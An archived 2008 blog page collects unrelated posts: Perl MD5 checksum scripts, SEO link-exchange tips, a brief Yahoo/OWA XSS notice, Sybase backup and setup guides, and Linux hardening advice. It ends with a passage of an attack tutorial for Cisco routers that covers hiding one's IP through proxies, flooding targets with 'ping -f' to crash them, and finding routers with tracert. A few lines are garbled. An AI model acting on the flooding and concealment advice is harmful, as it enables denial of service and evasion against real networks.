存档

‘技术文章’ 分类的存档

依然Check MD5(md5sum for pl)

2008年12月3日 没有评论 175 views

两个使用了不同的函数,在执行效率上checkmd5sum.pl 比checkmd5sum_find.pl要更快。
1.checkmd5sum.pl

#!/usr/bin/perl

#

# File: checkmd5sum.pl

# Author: amxku.net

# Date: 2008-12-02

# License: GPL-2

    
use Digest::MD5;

use IO::File;

use POSIX qw(strftime);

    
if( @ARGV != 1 ){

     print "check files md5sum\nusage:     <rootdir>     \nexample:     c:\         \n";

         exit;

}

    
$now_time=strftime "%Y-%m-%d %H:%M:%S", localtime;

$md5sumfile_name=strftime "%Y_%m_%d_%H_%M_%S", localtime;

    
open MD5FILE,">$md5sumfile_name.txt" or die "$!\n\n";

print MD5FILE "# check files md5sum\n\n";

print MD5FILE "# Created on $now_time\n";

print MD5FILE "# amxku_at_msn.com\n\n";

my $root = $ARGV[0];

sub lsr_s($) {

     my $cwd = shift;

     my @dirs = ($cwd.'/');

    
     my ($dir, $file);

     while ($dir = pop(@dirs)) {

             local *DH;

             if (!opendir(DH, $dir)) {

                 warn "Cannot opendir $dir: $! $^E";

                 next;

             }

             foreach (readdir(DH)) {

                 if ($_ eq '.' || $_ eq '..') {

                     next;

                 }

                 $file = $dir.$_;            

                 if (!-l $file && -d _) {

                     $file .= '/';

                     push(@dirs, $file);

                 }

                 process($file, $dir);

             }

             closedir(DH);

     }

}

    
my ($size, $dircnt, $filecnt) = (0, 0, 0);

    
sub process($$) {

     my $file = shift;

     print $file, "\n";

     if (substr($file, length($file)-1, 1) eq '/') {

             $dircnt++;

     }

     else {

             $filecnt++;

             $size += -s $file;

             my $fileinfo = genchksuminfo($file);

          print MD5FILE "$fileinfo\n";

     }

}

    
sub genchksuminfo

{

     my ($file) = @_;

     my $chk = Digest::MD5->new();

     my (@statinfo) = stat($file);

     $chk->add(@statinfo[0,1,2,3,4,5,7,9,10]);

     $chk->addfile(IO::File->new($file));

     return sprintf("md5:%s\t%s",$chk->hexdigest,$file);

}

    
lsr_s("$root");

print "\n$filecnt files, $dircnt directory. $size bytes.\n";

my $dateinfo ="\n$filecnt files, $dircnt directory. $size bytes.\n";

print MD5FILE "$dateinfo\n";

close(MD5FILE);


2.checkmd5sum_find.pl

#!/usr/bin/perl

#

# File: checkmd5sum_find.pl

# Author: p0150 & amxku

# Date: 2008-12-02  
# License: GPL-2

    
use File::Find;

use Digest::MD5;

use IO::File;

use POSIX qw(strftime);

    
if( @ARGV != 1 ){

     print "usage:     <rootdir>     \n";

     print "example:     c:\         \n";

         exit;

}

$now_time=strftime "%Y-%m-%d %H:%M:%S", localtime;

$now_string=strftime "%Y_%m_%d_%H_%M_%S", localtime;

    
open MD5FILE,">$now_string.txt" or die "$!\n";

print MD5FILE "#\n";

print MD5FILE "# Created on $now_time\n";

print MD5FILE "#\n";

print MD5FILE "\n";

chomp(my $dir=$ARGV[0]);

find(&wanted, $dir);            

sub wanted    

{

unless (-d $_)

{

print $File::Find::dir.'/'.$_."\n";

my $name=$File::Find::dir.'/'.$_;

my $fileinfo = genchksuminfo($name);

print MD5FILE "$fileinfo\n";

}

}

    
sub genchksuminfo

{

     my ($file) = @
_;

     my $chk = Digest::MD5->new();

     my (@statinfo) = stat($file);

     $chk->add(@statinfo[0,1,2,3,4,5,7,9,10]);

     $chk->addfile(IO::File->new($file));

     return sprintf("md5:%s\t%s",$chk->hexdigest,$file);

}

close(MD5FILE);

分类: 技术文章 标签:

浅谈友情连接的妙用

2008年12月3日 没有评论 61 views

对于一个站点来说,做友情链接是非常不错的一种推广网站的手段,只是这个链接到底该怎么做,不少人都是非常盲目的,许多站长在寻找外链时也会出现了许多误区,以下是我从网上收集到有关专家发表的“关于怎么做友情链接”的方法,整理一下来和大家分享一下,可能以前大家看过,为了你以后能更加有效地交换友情链接,建议大家还是用心去领会一下。

  1、选择做链接的时候,很重要的一个前提就是先想好一个最有利于自己网站搜索引擎的网站名称,一般的人就直接采取用网站名称了,其实这个跟你做SEO是一样的道理,比如创赢网,当大家还不知道创赢网是做什么的时候,你如果用“网站优化”或者 “google优化”在做文字友情链接的的效果显然要好得多。

  2、站长都喜欢用LOGO图片来链接网站,这是一个严重的误区,图片链接是不被搜索引擎所接受的,效果差,而文字链接却很容易被搜索引擎所接受。

  3、外链时要注意链接之前一定要查清对方网站是否被搜索引擎收录,切勿与被K过的交换网站链接,这样只会害了自己的网站。

  4、外链不要太多,但是要好、最好与自己网站同种类型或PR较高的网站链接,这样有利于搜索引擎的收录。对于新站则千万不要与同类的网站去连接,因为如果你的站做得不比别人好的话,你的流量就会被那些比你做得好的网站给抢过去了,这是一位混迹互联网多年朋友的实战经验,这点非常重要,请大家切记。如果你是一个成熟的网站,那么一定要选择关联性高的站点做链接,有的时候自己的竞争对手的站点都可以做,合作才能双赢。

  5、大家都知道各个搜索引擎是如何看待友情连接的吗?baidu 看重的是外部连接的质量;google看重的是在外部连接的质量的基础上增加友情的数量;yahoo 比百度更看重外部连接的质量。试图向大的分类目录提交,这样的做法不但得到高质量的反向链接,而且还不用付出任何的代价。

  6、很多站长做友情链接都希望找PR值高的网站,这本来是很好的一件事,不过有不少人走入了一个交换链接的误区。这些网站只单纯的要求该交换链接网站的PR值,而不去考虑这个网站是不是跟自己的网站有相关性,不管你是什么样的网站,什么样的内容,只要你有一定的PR值就全链接上了,表面上看来自己网站的链接数量挺多的,这样做的结果可能会带来一些效果吧,也就是所谓的流量了,但未必会有实质性的效果。根据我多年的经验,与那些与你网站有一定内容互补性,关联性的网站链接效果最好。比如你是家居类的网站,那么你就找房产类的网站或者生活类的网站做友情链接,这样就可以从他们网站带来不少流量。

  7、友情链接越多效果不一定越好,首页的友情链接数量不要超过20个,特别是在首页上的链接不要链接太多的图片,否则影响站点的打开速度。当然可以在内页专门设置一个友情链接页面,那就可以多多益善啦。

  8、在做的链接网站的打开方式上也要设成新建窗口,这一点很重要,要不然本来是你自己网站的客人却跑到别人的网站上去了。

  9,网站质量如何这关系到网站是否能长期存在的问题,如果网站质量很差,但是PR很高。这样的网站也不是理想的交换对象。网站质量差的网站的PR终有一天会降下来的,这就为你网站PR的不稳定添加了一个很大的因素。

  9、看被链接网站是否已经被各大搜索引擎收录及其被搜索引擎的更新频率如何(在搜索结果中可以看到最后一次被除数更新的时间,如果超过三天没有更新,就不会显示);如果链入的网站被各大搜索引擎收录而且还经常更新的话,那么你的网站也会占了不少的光。因为搜索引擎也会对链接的站点进行相应的更新,那么你就不需要交钱去给搜索引擎公司来帮你更新了。

分类: 技术文章 标签:

Yahoo webmail xss&OWA xss

2008年12月1日 没有评论 90 views

漏洞介绍:Yahoo webmail和Outlook web access是使用比较多的webmail,可以通过web界面来收发电子邮件。但是80sec发现在他们处理某些字符集的时候存在漏洞,可能导致Xss 脚本攻击。我们发现后及时通知了官方,官方也已经予以修补。

漏洞资料:漏洞具体信息参见Xkongfoo上的pptweb应用程序中的字符集攻击

漏洞建议:官方已经在公告发布之前予以修复

本站内容均为原创,转载请务必保留署名与链接!
Yahoo webmail xss&OWA xss:http://www.80sec.com/yahoo-webmail-xssowa-xss.html

分类: 技术文章 标签: ,

sybase数据库备份方案

2008年11月27日 没有评论 90 views

sybase数据库产品自从1987年问世以来,它的客户机/服务器(client/server)工作模式、分布处理的基础体系结构、完善的安全保密性能、高速快捷的运行方式、多平台跨操作系统的广泛应用等优点,迅速被it界接受并推广应用。我们作为金融业的用户,也在1995年开始使用 sybase10版本。在具体的使用中,发现集中式的数据管理有其优点,就是数据风险范围大为缩小,但是作为sybase的服务器一端,数据风险比较集中,如何做好数据库的数据备份,成为至关重要的问题。

在实际应用中,我们总结出了两种全量备份方案:

一、使用sybase的backup server(备份服务器),做dump备份

转储数据库(dump database),就是为整个数据库(包括数据、表结构、触发器、游标、存储过程、事务日志等)做一次物理备份。转储数据库时,系统自动执行一次 checkpoint,即将日志和数据从缓冲区拷贝到硬盘(只拷贝脏页),把已被分配的页(日志和数据)转储到设备。

命令格式为:

dump database 数据库名 to 设备文件名 with 参数

如果备份到硬盘的文件上,可以不预先估算备份文件的大小,只要硬盘有足够的存储空间就可以。如果是备份到dds磁带上,那么就要估算一下备份后的大小,90米的dds磁带压缩存储空间为4g,120米的磁带压缩存储空间为8g,如果数据库的备份文件超过了这个尺寸,就要考虑多文件转储,使用 stripe参数。

命令格式为:

dump database 数据库名 to 设备文件名1
stripe on 设备文件名2
stripe on 设备文件名3……
with 参数

这种数据备份方式是将整个数据库的运行环境完整的复制一份,包括数据库的脏页和碎片,在使用load命令恢复时,只能恢复到同样大小的数据库中(数据和日志的大小都只能和原来完全一致),适用于在每天的日终营业网点下班后的日常备份。优点是数据库完整无误,缺点是不能直接查看备份内容。

二、分数据结构和数据记录做两次备份

在一般情况下,生产机的数据库都比较庞大,而实验机则相对较小,难以在实验环境中以load命令恢复工作机的内容。所以,在工作实践中,我们摸索出了第二种全量备份方案。

1、数据结构备份

在windows平台的sybase sql server manager(数据库管理)平台中选择serveràgenerate ddl则产生整个数据库服务器的所有信息,如果选择databaseàgenerate ddl则产生所选定数据库的信息,以master库为例,产生的文件主要包括:config.ddl(配置)、devices.ddl(设备)、 database.ddl(数据库)、logins.ddl(用户)、remote.ddl(远程)、cache.ddl(缓冲)、 segment.ddl()、group.ddl(用户组)、user.ddl(用户)、default.ddl(确省)、rule.ddl(规则)、 udt.ddl、table.ddl(表)、view.ddl(视图)、proc.ddl(存储过程)、triger.ddl(触发器)。

2、数据记录备份

将数据库各表以sybase自代的bcp(bulk copy)工具的方式导成一定格式的文本文件,命令格式:
bcp 表名 out 路径名 文件名 -c -t 分隔符 -u (用户名)-p(密码)-s(服务器名)
如果将一个数据库中的所有表都做一个bcp备份,就需要针对每一个表都做一次bcp,在一般情况下,一个数据库有100多个表,工作量比较大。可以利用数据库中的系统表信息做一个bcp备份脚本。原理是每一个用户表在系统表中都有信息记载,可以通过isql语句查询得到。现举一例说明:

1)、先编辑一个名为mkbcpout.sql的文件,内容如下:
select "echo bcp ''"+name+" out ……………………''
"+"bcp "+name+" out ./+"name+".table -c -t ''|'' -uuser -ppassword -s server" from sysobjects where type=''u''
go

2)、执行isql命令,以此文件作为输入,执行结果输出到另外一个文件里:
isql -uuser -ppassword -s server -i mkbcpout.sql -o bcpout

3)、对bcppout文件稍微修改,增加可执行权限
chmod +x bcpout

4)、执行bcpout,导出数据文本
./bcpout

3、数据库恢复

业务生产机可能为小型机,而实验开发环境的硬件环境为pc server,安装好win nt或sco unix下的sybase服务器后,根据需要创建空间足够大的数据库和tempdb(系统临时数据库),创建数据库用户,并将其更改为此数据库的所有者,要注意两点:1)此数据库允许bcp拷贝,2)此数据库自动清除log。命令格式为:

1> sp_dboption databasedbname ,"select into/bulkcopy",true

2> go

1> sp_dboption databasename,"trunc log on chkpt",true

2> go

上述两个配置可能与生产机的配置不同。

然后以新创建的数据库用户登录,导入数据结构,注意要首先导入表结构,然后才是存储过程、触发器等等。命令格式:

1、 isql -uusername -ppassword -i table.ddl -o error.log.table

2、 isql -uusername -ppassword -i proc.ddl -o error.log.proc

……

为了提高bcp导入数据的速度,需要将比较大的表的索引和主键删除,否则的话,每bcp进一条数据,数据库都自动写一条log日志,记载此数据的上一条和下一条记录,确定本记录在此表中的准确位置,一是影响bcp速度,二是数据库的log飞速膨胀。数据库的自动清除log功能只有在一个事务结束后才起作用。
准备工作做完后,开始倒入数据记录。使用类似做bcpout的方法做一个bcpin的脚本,然后执行:

./bcpin |tee error.bcpin

使用tee管道输出的目的是让计算机完整记录下倒入过程,自动存入error.bcpin文件中,待倒入结束后,我们只需要检查日志文件,不需要一直紧盯着计算机屏幕。

所有工作做完之后,不要忘记重新将删除的主键和索引建上。

如果有现成的数据库,只需要单纯地导入数据记录,则首先将数据库中所有用户表(也就是所有type="u"的表)清空,命令格式:

1> truncate table tablename

2> go

当然最好也是利用做bcpout脚本的做一个truncate脚本,通过执行此脚本将所有用户表清空。然后的数据导入、处理索引和主键的过程与上面类似。

三、利用做bcp备份脚本的方法做数据库碎片整理

sybase数据库作为联机事务处理应用服务器,每天应用程序都对数据库做大量的插入、修改和删除等操作,不可避免的在数据库的物理存储介质上留下页碎片和扩展单元碎片,从而影响数据库的存储效率和运行速度。具体表现为:业务繁忙时出现死锁(dead lock),数据库的输入/输出资源被大量占用,业务处理速度慢。其解决办法是:

1、 清空数据库中的所有表,命令格式:

isql -uusername -ppassword -i truncate.sql -o error.truncate

2、 删除所有表的索引和主键

isql -uusername -ppassword -i dropindex.sql -o error.dropindex

3、 导入数据

./bcpin

4、 添加索引和主键

isql -uusername -ppassword -i addindex.sql -o error.addindex

5、 更新数据库状态

1> update statistics tablename

2> go

上述操作都是针对数据库中的所有用户表进行的,利用做bcp备份脚本的方法做出相应的脚本,使繁琐的数据库维护变得简便易行,还克服了直接使用isql语句操作风险大、没有操作日志的毛病。

笔者在实际工作中,使用第一种方法对生产机做日常全量备份,日终通过unix的crontab定时批量作业bcp出全部数据。使

分类: 技术文章 标签:

在CentOS(RHEL)5安装Sybase数据库

2008年11月27日 没有评论 350 views

RHEL5 已经通过Sybase的认证,但是当前的版本不能用Sybase的setup程序配置服务器,需要用svrbuildres工具进行配置。还有需要 export LD_POINTER_GUARD=0,最好把这一行写到sybase用户的.bash_profile里面去。

cp ~/ASE-15_0/init/sample_resource_files/srvbuild.adaptive_server.rs rs/db.rs
cp ~/ASE-15_0/init/sample_resource_files/srvbuild.backup_server.rs ~/rs/bk.rs

修改如下:
db.rs
sybinit.release_directory: USE_DEFAULT
sybinit.product: sqlsrv
sqlsrv.server_name: SYBASE
sqlsrv.new_config: yes
sqlsrv.do_add_server: yes
sqlsrv.network_protocol_list: tcp
sqlsrv.network_hostname_list: coffee1
sqlsrv.network_port_list: 5000
sqlsrv.server_page_size: USE_DEFAULT
sqlsrv.force_buildmaster: no
sqlsrv.master_device_physical_name: /opt/sybase/data/master.dat
sqlsrv.master_device_size: USE_DEFAULT
sqlsrv.master_database_size: USE_DEFAULT
sqlsrv.errorlog: USE_DEFAULT
sqlsrv.do_upgrade: no
sqlsrv.sybsystemprocs_device_physical_name: /opt/sybase/data/sysprocs.dat
sqlsrv.sybsystemprocs_device_size: USE_DEFAULT
sqlsrv.sybsystemprocs_database_size: USE_DEFAULT
sqlsrv.sybsystemdb_device_physical_name: /opt/sybase/data/sybsystemdb.dat
sqlsrv.sybsystemdb_device_size: USE_DEFAULT
sqlsrv.sybsystemdb_database_size: USE_DEFAULT
sqlsrv.default_backup_server: SYB_BACKUP
sqlsrv.addl_cmdline_parameters:

bk.rs
sybinit.release_directory: USE_DEFAULT
sybinit.product: bsrv
bsrv.server_name: SYB_BACKUP
bsrv.new_config: yes
bsrv.do_add_backup_server: yes
bsrv.do_upgrade: no
bsrv.network_protocol_list: tcp
bsrv.network_hostname_list: coffee1
bsrv.network_port_list: 5001
bsrv.language: USE_DEFAULT
bsrv.character_set: USE_DEFAULT
bsrv.tape_config_file: USE_DEFAULT
bsrv.errorlog: USE_DEFAULT
sqlsrv.related_sqlsrvr: SYBASE
sqlsrv.sa_login: sa
sqlsrv.sa_password: USE_DEFAULT
bsrv.addl_cmdline_parameters:

然后
svrbuildres -r db.res
svrbuildres -r bk.res

[sybase@CentOS ~]$ cat /opt/sybase/SYBASE.sh >> .bash_profile
[sybase@CentOS ~]$ . /opt/sybase/SYBASE.sh
[sybase@CentOS ~]$ srvbuildres -r srvbuild.adaptive_server.rs

Building Adaptive Server 'SYBASE':
Writing entry into directory services...
Directory services entry complete.
Building master device...
Master device complete.
Writing RUN_SYBASE file...
RUN_SYBASE file complete.
Starting server...
Server started.
Building sysprocs device and sybsystemprocs database...
sysprocs device and sybsystemprocs database created.
Running installmaster script to install system stored procedures...
installmaster: 10% complete.
installmaster: 20% complete.
installmaster: 30% complete.
installmaster: 40% complete.
installmaster: 50% complete.
installmaster: 60% complete.
installmaster: 70% complete.
installmaster: 80% complete.
installmaster: 90% complete.
installmaster: 100% complete.
installmaster script complete.
Creating two-phase commit database...
Two phase commit database complete.
Installing common character sets (Code Page 437, Code Page 850, ISO Latin-1,
Macintosh and HP Roman-8)...
Character sets installed.
Setting server name in Adaptive Server...
Server name added.
Server 'SYBASE' was successfully created.

[sybase@CentOS ~]$ srvbuildres -r srvbuild.backup_server.rs

Building Backup Server 'SYB_BACKUP':
Writing entry into directory services...
Directory services entry complete.
Writing RUN_SYB_BACKUP file...
RUN_SYB_BACKUP file complete.
Starting server...
Server started.
Server 'SYB_BACKUP' was successfully created.

[sybase@CentOS ~]$ export LC_ALL=C
[sybase@CentOS ~]$ isql -USA -P
Msg 4002, Level 14, State 1:
Server 'SYBASE':
Login failed.
CT-LIBRARY error:
ct_connect(): protocol specific layer: external error: The attempt to connect to the server failed.
[sybase@CentOS ~]$ isql -USA -SSYBASE
Password:
Msg 4002, Level 14, State 1:
Server 'SYBASE':
Login failed.
CT-LIBRARY error:
ct_connect(): protocol specific layer: external error: The attempt to connect to the server failed.
[sybase@CentOS ~]$ isql -Usa -SSYBASE -P
1> select @@VERSION
2> go

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Adaptive Server Enterprise/15.0.2/EBF 14331/P/Linux Intel/Linux 2.4.21-47.ELsmp
i686/ase1502/2486/32-bit/FBO/Thu May 24 08:15:50 2007

(1 row affected)
1>

分类: 技术文章 标签:

堵住系统漏洞 保证Linux系统安全应用

2008年11月27日 没有评论 129 views

Linux作为开放式的操作系统受到很多程序员的喜爱,很多高级程序员都喜欢编写Linux操作系统的相关软件。这使得Linux操作系统有着丰富的软件支持,还有无数的技术人员作为技术后盾和技术支持,这使得Linux越来越受到程序员的欢迎。

  但这种开放式的操作系统有一个最大的弊端就是每个程序员的水平不等,编写相关软件后并未注意自己程序中的漏洞。没有统一的漏洞检查,这使得Linux的软件中会出现很多的漏洞,而软件开发者却很难察觉自己编写程序的漏洞,但黑客们会非常注意这些漏洞,并且会利用这些漏洞来达到自己的目的。那么是不是 Linux系统就不安全了呢?其实大可不必担心,只要做好下述几点便可安心的使用Linux系统。

  一、取消不必要的服务

  早期的Unix版本中,每一个不同的网络服务都有一个服务程序在后台运行,后来的版本用统一的/etc/inetd服务器程序担此重任。Inetd是 Internetdaemon的缩写,它同时监视多个网络端口,一旦接收到外界传来的连接信息,就执行相应的TCP或UDP网络服务。

  由于受inetd的统一指挥,因此Linux中的大部分TCP或UDP服务都是在/etc/inetd.conf文件中设定。所以取消不必要服务的第一步就是检查/etc/inetd.conf文件,在不要的服务前加上“#”号。

  一般来说,除了http、smtp、telnet和ftp之外,其他服务都应该取消,诸如简单文件传输协议tftp、网络邮件存储及接收所用的imap/ipop传输协议、寻找和搜索资料用的gopher以及用于时间同步的daytime和time等。

  还有一些报告系统状态的服务,如finger、efinger、systat和netstat等,虽然对系统查错和寻找用户非常有用,但也给黑客提供了方便之门。例如,黑客可以利用finger服务查找用户的电话、使用目录以及其他重要信息。因此,很多Linux系统将这些服务全部取消或部分取消,以增强系统的安全性。

  Inetd除了利用/etc/inetd.conf设置系统服务项之外,还利用/etc/services文件查找各项服务所使用的端口。因此,用户必须仔细检查该文件中各端口的设定,以免有安全上的漏洞。

  在Linux中有两种不同的服务型态:一种是仅在有需要时才执行的服务,如finger服务;另一种是一直在执行的永不停顿的服务。这类服务在系统启动时就开始执行,因此不能靠修改inetd来停止其服务,而只能从修改/etc/rc.d/rc[n].d/文件或用Runleveleditor去修改它。提供文件服务的NFS服务器和提供NNTP新闻服务的news都属于这类服务,如果没有必要,最好取消这些服务。

  二、限制系统的出入

  在进入Linux系统之前,所有用户都需要登录,也就是说,用户需要输入用户账号和密码,只有它们通过系统验证之后,用户才能进入系统。

  与其他Unix操作系统一样,Linux一般将密码加密之后,存放在/etc/passwd文件中。Linux系统上的所有用户都可以读到/etc /passwd文件,虽然文件中保存的密码已经经过加密,但仍然不太安全。因为一般的用户可以利用现成的密码破译工具,以穷举法猜测出密码。比较安全的方法是设定影子文件/etc/shadow,只允许有特殊权限的用户阅读该文件。

  在Linux系统中,如果要采用影子文件,必须将所有的公用程序重新编译,才能支持影子文件。这种方法比较麻烦,比较简便的方法是采用插入式验证模块(PAM)。很多Linux系统都带有Linux的工具程序PAM,它是一种身份验证机制,可以用来动态地改变身份验证的方法和要求,而不要求重新编译其他公用程序。这是因为PAM采用封闭包的方式,将所有与身份验证有关的逻辑全部隐藏在模块内,因此它是采用影子档案的最佳帮手。

  此外,PAM还有很多安全功能:它可以将传统的DES加密方法改写为其他功能更强的加密方法,以确保用户密码不会轻易地遭人破译;它可以设定每个用户使用电脑资源的上限;它甚至可以设定用户的上机时间和地点。

  Linux系统管理人员只需花费几小时去安装和设定PAM,就能大大提高Linux系统的安全性,把很多攻击阻挡在系统之外。
三、保持最新的系统核心

  由于Linux流通渠道很多,而且经常有更新的程序和系统补丁出现,因此,为了加强系统安全,一定要经常更新系统内核。

  Kernel是Linux操作系统的核心,它常驻内存,用于加载操作系统的其他部分,并实现操作系统的基本功能。由于Kernel控制计算机和网络的各种功能,因此,它的安全性对整个系统安全至关重要。

  早期的Kernel版本存在许多众所周知的安全漏洞,而且也不太稳定,只有2.0.x以上的版本才比较稳定和安全,新版本的运行效率也有很大改观。在设定Kernel的功能时,只选择必要的功能,千万不要所有功能照单全收,否则会使Kernel变得很大,既占用系统资源,也给黑客留下可乘之机。

  在Internet上常常有最新的安全修补程序,Linux系统管理员应该消息灵通,经常光顾安全新闻组,查阅新的修补程序。

  四、增强安全防护工具

  SSH是安全套接层的简称,它是可以安全地用来取代rlogin、rsh和rcp等公用程序的一套程序组。SSH采用公开密钥技术对网络上两台主机之间的通信信息加密,并且用其密钥充当身份验证的工具。

  由于SSH将网络上的信息加密,因此它可以用来安全地登录到远程主机上,并且在两台主机之间安全地传送信息。实际上,SSH不仅可以保障Linux主机之间的安全通信,Windows用户也可以通过SSH安全地连接到Linux服务器上。

  五、限制超级用户的权力

  我们在前面提到,root是Linux保护的重点,由于它权力无限,因此最好不要轻易将超级用户授权出去。但是,有些程序的安装和维护工作必须要求有超级用户的权限,在这种情况下,可以利用其他工具让这类用户有部分超级用户的权限。Sudo就是这样的工具。

  Sudo程序允许一般用户经过组态设定后,以用户自己的密码再登录一次,取得超级用户的权限,但只能执行有限的几个指令。

  六、设定用户账号的安全等级

  除密码之外,用户账号也有安全等级,这是因为在Linux上每个账号可以被赋予不同的权限,因此在建立一个新用户ID时,系统管理员应该根据需要赋予该账号不同的权限,并且归并到不同的用户组中。

  在Linux系统上的tcpd中,可以设定允许上机和不允许上机人员的名单。其中,允许上机人员名单在/etc/hosts.allow中设置,不允许上机人员名单在/etc/hosts.deny中设置。设置完成之后,需要重新启动inetd程序才会生效。此外,Linux将自动把允许进入或不允许进入的结果记录到/rar/log/secure文件中,系统管理员可以据此查出可疑的进入记录。

  每个账号ID应该有专人负责。在企业中,如果负责某个ID的职员离职,管理员应立即从系统中删除该账号。很多入侵事件都是借用了那些很久不用的账号。

  在用户账号之中,黑客最喜欢具有root权限的账号,这种超级用户有权修改或删除各种系统设置,可以在系统中畅行无阻。因此,在给任何账号赋予root权限之前,都必须仔细考虑。

  Linux系统中的/etc/securetty文件包含了一组能够以root账
号登录的终端机名称。例如,在RedHatLinux系统中,该文件的初始值仅允许本地虚拟控制台(rtys)以root权限登录,而不允许远程用户以root权限登录。最好不要修改该文件,如果一定要从远程登录为root 权限,最好是先以普通账号登录,然后利用su命令升级为超级用户。

分类: 技术文章 标签:

攻击CISCO路由器的详细步骤

2008年11月27日 没有评论 103 views

警告:

  不要用这破坏cisco系统,或非法访问系统。这篇文章只是以学习为目的。只可以用在合法行为,不能破坏任何系统。这篇文章将一步一步的向你展示如何利用发现的缺陷来获得非法访问。如果你攻入了一个cisco路由器,或者扰乱了系统,将会中断数百个网络客户机,造成大量损失。所以,只可以在被允许的情况下进行,否则你将会有许多麻烦!

  目录:

  在你看之前需要了解的:

  -什么是IP地址?

  -什么是ISP?

  -什么是TCP/IP数据包?

  -怎样隐藏你的IP地址?

  -怎样使用Telnet?

  -怎样使用HyperTerminal?

  -怎样使用Ping?

  -怎样使用TraceRoute?

  -怎样使用代理服务器?

  -------------------------------------

  -第一段:为什么攻击cisco路由器?

  -第二段:怎样找到一个cisco路由器?

  -第三段:怎样闯入一个cisco路由器?

  -第四段:怎样破解密码?

  -第五段:怎样使用一个cisco路由器?

  ----------------------

  你看之前需要了解的知识:

  ----------------------

  什么是IP地址?

  IP是Internet Protocol的缩写,电脑通过IP地址来识别网络中的其它电脑,与其连接。这就是你为什么会在IRC中被踢走,并且找到你的ISP和你的大概位置。IP地址是很容易得到的,基本上可以由以下几种方法获得:

  -惴梦誓惩?你的IP被记录

  -在IRC中,某人得到你的IP地址

  -在ICQ,OICQ中,可以简单的得到你的IP地址,使用一些小工具。

  -如果你的电脑和某人连接起来,运行 systat即可看到和那些电脑连接(以IP地址显示)

  -某人发给你一封用java程序写的邮件,可以得到你的IP地址

  还有其它许多方法得到IP地址,包括使用一些木马和后门程序。

  -----------

  什么是ISP?

  ISP是Internet Service Provider的缩写,你通过它们连接到internet.你拨号后就会连接和其连接。我们可以运行一个traceroute(跟踪路径)来寻找我们的ISP(traceroute 在后面还会介绍).

  你应该看到像这样:

  tracert 222.222.22.22

  Tracing route to [221.223.24.54]

  over a maximum of 30 hops.

  1 147ms 122ms 132ms your.isp [222.222.22.21]<<<你的ISP

  2 122ms 143ms 123ms isp.firewall [222.222.22.20]<

  你也可以 打开/关闭 "local echo"。如果你打开了"local echo",你的电脑将显示你输入的任何东西,并且连接上的电脑将显示回应。

  所以你将会看到就像这些:

  你输入 "hello",你看到的是hhelelollo这是因为返回的信息和你输入的内容已经混合起来了。我这样做的唯一的原因是看连接的机器对我的输入,是否产生回应。

  在默认的情况下,telnet只会通过telnet端口连接,即是断口23。你并不会只通过端口23连接,所以你连接的时候,你可以任意改变端口。你可以改成25,那是邮件服务程序的端口。也可以是21,那是ftp的端口。

  总共有上千个端口,所以你要选择正确的端口!

  ----------------------怎样使用超级终端?

  超级终端可以让你的电脑的任意端口进行监听某台电脑,如果有信息来到这个端口,就可以进行传输件。超级终端在开始>程序>附件>通讯 中,没有的话,你可以通过控制面板中安装。首先,你要选择连接协议,我们选"TCP/IP Winsock",接着输入要连接的电脑,下面选择端口。可以选择Call>Wait for Call,来等待文件。这样其它的电脑就可以通过某个端口连接上你了,你也可以聊天,或者传送文件了。

  我的超级终端可能不一样,没有这个功能。

  ------------

  怎样使用Ping?

  Ping的使用很简单,在MS-DOS方式下,输入“ping IP地址”,默认是ping三次,你也可以自己设定。

  "ping ip地址 -t"

  可以使其不停的ping。

  改变 ping 的大小可以这样做:

  "ping -l (size) ip.address"

  ping其实是向远程的机器发送数据包,远程的机器接收到就会把数据包原路返回,我们可以看到这个过程的时间。时间越短,速度就越快,当然,拥挤的时候,就会发生数据包丢失。 Ping 会减慢被ping的电脑的速度,流量过大的时候,甚至使其down机。一分钟的ping攻击就可以使一台win98的电脑崩溃。(因为它的连接缓冲区溢出 - 连接过量,所以Windows决定休息休息了:>).ping攻击也会占用你许多带宽,所以你的带宽要比目标机器大(除非目标机器运行的是Windows 98,而且你有个不错的猫,那么一分钟内,你就可以叫它下台).

  Ping攻击对强壮的系统没有效果。

  注意: DOS’s -t 选项不是一个ping攻击, 它只是很小的连接一下,而且中间有很多间隔。在Unix或Linux的机器中,你可以用上参数 -f 进行真正的ping攻击。其实,如果你的分布是POSIX-compliant (POSIX -Portable Operating System Interface based on uniX),否则那就不是真正的Unix/Linux 分布。那么如果你有个 OS,称自己既是Unix,又是Linux,那么就是有 -f 。

  ------------------

  怎样使用TraceRoute?

  要跟踪你的连接(可以观察到目标机器的连接路线),只要在MS-DOS方式下,输入“tracert IP地址”。你将会看到一个电脑的目录,就是你和目标之间通过的机器。.

  你可以用此方法确定是否存在防火墙,也可以确定某人的ISP(internet service provider)。要确定ISP,只要看目标机器的前一个IP地址,那就应该是ISP的路由器。

  基本上说,这就是traceroute怎样工作-一个 TCP/IP 数据包,在它的头部有一个值(在IP的头部。如果你不知道这是什么意思,没关系,你接着往下看就可以了)称作 TTL,它是Time To Live的缩写。当一个数据包通过路由器的时候,它的TTL值就会减少。这样可能会使数据包在网络中流窜,消耗带宽。所以每当一个数据包TTL值达到0的时候,它就会失效并且因为一个ICMP错误返回到发送者。现在traceroute 先发送一个TTL值为1的数据包,那么它很快就会返回。查看ICMP错误的头部,traceroute就可以知道数据包第一步通过哪。接着就会发送TTL 值为2的数据包,返回后,就是第二次通过的地方。依次下去,直到最终的目的地,就可以知道整个路径。

  现在你是不是明白了呢? :-)

  ------------------

  怎样使用代理服务器?

  在网上寻找一个代理服务器,包括你需要的打开的端口的代理服务器。找到后,你可以用telnet 或hyperterminal通过代理服务器连接到另外一台电脑上。这样做对方的电脑就不可以确定你的IP地址。

  -----------------------------

  第一段:为什么攻击cisco路由器?

  你可能会想.. 为什么要攻击 cisco 路由器呢?

  答案就是那样做将对闯入其它的系统非常有用...

  Cisco路由器非常的快,在一个系统中,一些会是以18 T1连接。而且它们非常灵活,尽管大多数运行telnet,但是它们可以在DoS攻击或攻入其它系统时发挥作用。

  它们同时还会有成千的数据包通过。但是可以被捕获进行译码...
许多的cisco路由器受托于系统,它们可以让你获得其网络中访问其它电脑的确切的数量。

  ------------------------------

  第二段:怎样找到一个cisco路由器?

  寻找一个cisco路由器可以说是以项简单的任务,几乎所有的ISP至少通过一个cisco路由器。最简单的方法是在dos下运行tracert,你可以跟踪到电脑之间的许多电脑,在这之间,必有一个 “cisco”这个名字。如果你发现了,记下它的IP地址。

